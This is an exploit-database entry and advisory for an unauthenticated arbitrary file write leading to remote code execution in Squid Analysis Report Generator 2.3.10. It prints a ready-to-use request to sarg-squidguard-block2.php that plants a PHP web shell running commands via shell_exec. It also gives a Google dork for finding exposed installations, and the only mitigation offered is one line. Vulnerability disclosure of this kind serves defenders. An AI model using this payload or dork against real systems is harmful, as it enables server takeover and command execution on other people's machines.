RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)

vendor:

Squid Analysis Report Generator

by:

Pavel Suprunyuk

7,5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Squid Analysis Report Generator

Affected Version From: 2.3.10

Affected Version To: 2.3.10

Patch Exists: NO

Related CWE: None

CPE: a:sarg:sarg

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP, any OS

2017

RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)

sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file. Exploit example: the following request http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file.

Mitigation:

Authentication should be required for sarg-php/sarg-squidguard-block2.php.

Source

Exploit-DB raw data:

# Exploit Title: RCE/Arbitrary file write in Squid Analysis Report Generator (SARG)
# Google Dork: inurl:sarg-php
# Date: 01 September 2017
# Exploit Author: Pavel Suprunyuk
# Vendor Homepage: https://sourceforge.net/projects/sarg/
# Software Link: https://sourceforge.net/projects/sarg/
# Version: Tested on 2.3.10, other versions are vulnerable too.
# Tested on: PHP, any OS
# CVE : None

===================================
sarg-php/sarg-squidguard-block2.php does not require any authentication and allows to write an arbitrary file:

sarg-php/sarg-squidguard-block2.php?file=<your_shell_name.php>&url=<your_php_shell_content>

Exploit example:

the following request

http://vulnerable_site/sarg-php/sarg-squidguard-block2?file=shell.php&url=%3C%3Fphp%20if%20(isset($_GET%5B'cmd'%5D))%20echo%20shell_exec($_GET%5B'cmd'%5D)%3B%20%3F%3E

will write the basic shell "<?php if (isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>" into the "shell.php" file